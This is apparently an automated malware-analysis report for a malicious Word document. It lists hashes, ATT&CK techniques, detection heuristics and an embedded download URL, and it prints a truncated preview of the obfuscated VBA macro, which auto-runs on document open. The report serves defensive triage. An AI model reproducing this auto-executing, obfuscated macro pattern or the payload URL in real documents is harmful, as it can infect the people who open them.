Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4b4584098c04bb8…

MALICIOUS

Office (OLE)

57.0 KB Created: 2016-04-12 17:00:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: c04fa32f9d223ce22b8d893655d93949 SHA-1: dfcc37e481be25e582bbccdc83fa20e263413ea5 SHA-256: c4b4584098c04bb84ce639a23e43ff97c97397a474707d7c193ecb2fedef700e
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro that uses CreateObject. This indicates an attempt to execute code automatically when the document is opened. The embedded URL suggests a potential download location for a secondary payload. The VBA code is heavily obfuscated, making it difficult to determine the exact execution flow, but the presence of CreateObject and the Document_Open auto-execution strongly suggest malicious intent.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://onlineaccess.bleutree.us/catalog/wp-login.php In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11333 bytes
SHA-256: 6887a267a7bf78b932316c8dc6db9195e5ccaf2baf1403a1aa4738e53c9106bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                            Private Sub _
 _
 _
                              Document_Open _
 _
 _
                                ()
                      gsdfdsf
End Sub


Attribute VB_Name = "bvcsdwrwer"
Attribute VB_Base = "0{092E945A-3DAE-46CC-8498-EDED8942D29C}{766226B2-F196-48DA-98A9-6680C7BE646A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "ttes"
Sub gsdfdsf()
Dim eZhjYBPi, VEbZario, MEOFwiTp As String
Dim mncYgpZd, hAULOgNf, sZKtrlcg As String
mncYgpZd = "           HAFWBB               "
hAULOgNf = LTrim(mncYgpZd)
sZKtrlcg = RTrim(hAULOgNf)

eZhjYBPi = "           IZPDIL               "
Dim qNyFxlCn, HWDoPFGl, IsRMnWrX As String
qNyFxlCn = "           MHLWUW               "
HWDoPFGl = LTrim(qNyFxlCn)
IsRMnWrX = RTrim(HWDoPFGl)

VEbZario = LTrim(eZhjYBPi)
Dim WpnMCPwg, pNYcewUC, SsWkSLjj As String
WpnMCPwg = "           DFDQOZ               "
pNYcewUC = LTrim(WpnMCPwg)
SsWkSLjj = RTrim(pNYcewUC)

MEOFwiTp = RTrim(VEbZario)

Dim ZPZbMzQT, FHgZwHGG, NXaTVRKN As String
ZPZbMzQT = "           SRZXQE               "
FHgZwHGG = LTrim(ZPZbMzQT)
NXaTVRKN = RTrim(FHgZwHGG)

On Error Resume Next
Dim CVVSDSDF
 Dim fso As Object
Dim RFtMXvrV, oOSgoLXG, FRmOwfDU As String
Dim ZyBRxjzQ, cuoHJmbS, lilzsbCD As String
ZyBRxjzQ = "           MJAMEZ               "
cuoHJmbS = LTrim(ZyBRxjzQ)
lilzsbCD = RTrim(cuoHJmbS)

RFtMXvrV = "           CNFGRT               "
Dim iMJXRQiQ, SGvjJuBZ, kQuQrAJm As String
iMJXRQiQ = "           KFSVPR               "
SGvjJuBZ = LTrim(iMJXRQiQ)
kQuQrAJm = RTrim(SGvjJuBZ)

oOSgoLXG = LTrim(RFtMXvrV)
Dim wTCpGcOm, VHsevWlF, dYkURYRx As String
wTCpGcOm = "           IOEAMG               "
VHsevWlF = LTrim(wTCpGcOm)
dYkURYRx = RTrim(VHsevWlF)

FRmOwfDU = RTrim(oOSgoLXG)

Dim deSHWTDV, qDhZLUlx, xLzTmmxU As String
deSHWTDV = "           RDURQJ               "
qDhZLUlx = LTrim(deSHWTDV)
xLzTmmxU = RTrim(qDhZLUlx)

DSFDSFWWWD = "plica"
Dim oRDBgLsH, cmLZmRcv, NTuxrzuL As String
Dim HVWMDzgs, SBtyiySf, lRyzVvSZ As String
HVWMDzgs = "           WEWMXA               "
SBtyiySf = LTrim(HVWMDzgs)
lRyzVvSZ = RTrim(SBtyiySf)

oRDBgLsH = "           MVLDKU               "
Dim fIUPpRXL, LEgtcBDP, cvCbPmTZ As String
fIUPpRXL = "           GCZPSI               "
LEgtcBDP = LTrim(fIUPpRXL)
cvCbPmTZ = RTrim(LEgtcBDP)

cmLZmRcv = LTrim(oRDBgLsH)
Dim cWjIalFr, SQxsytNS, gXQyGAOy As String
cWjIalFr = "           ZYITPM               "
SQxsytNS = LTrim(cWjIalFr)
gXQyGAOy = RTrim(SQxsytNS)

NTuxrzuL = RTrim(cmLZmRcv)

Dim qGygrYmh, onOzzIaF, mYwtRxrB As String
qGygrYmh = "           EYJJHK               "
onOzzIaF = LTrim(qGygrYmh)
mYwtRxrB = RTrim(onOzzIaF)

IREWE = "hel"
Dim gjfOhFIZ, daJxfHfa, vuEbGEks As String
Dim CIamyKPJ, LOqYnCiK, FPmLMaTL As String
CIamyKPJ = "           TTEGMH               "
LOqYnCiK = LTrim(CIamyKPJ)
FPmLMaTL = RTrim(LOqYnCiK)

gjfOhFIZ = "           TMWAXX               "
Dim pUVmZYzp, eVFylDkD, ULxnYooT As String
pUVmZYzp = "           LUGQOZ               "
eVFylDkD = LTrim(pUVmZYzp)
ULxnYooT = RTrim(eVFylDkD)

daJxfHfa = LTrim(gjfOhFIZ)
Dim tZojeQHs, llfMixzM, XEZFJMPg As String
tZojeQHs = "           KCRXSE               "
llfMixzM = LTrim(tZojeQHs)
XEZFJMPg = RTrim(llfMixzM)

vuEbGEks = RTrim(daJxfHfa)

Dim DBnIQzDB, BtdQdHHp, CHHcqKxI As String
DBnIQzDB = "           KQANUE               "
BtdQdHHp = LTrim(DBnIQzDB)
CHHcqKxI = RTrim(BtdQdHHp)

UTEDASD = "vvcx"
Dim fFAlIFiD, pGQTeLTG, tGXJcCeH As String
Dim HVVTMCIP, SVoJgzyQ, UBleIyES As String
HVVTMCIP = "           ZDAMGK               "
SVoJgzyQ 
... (truncated)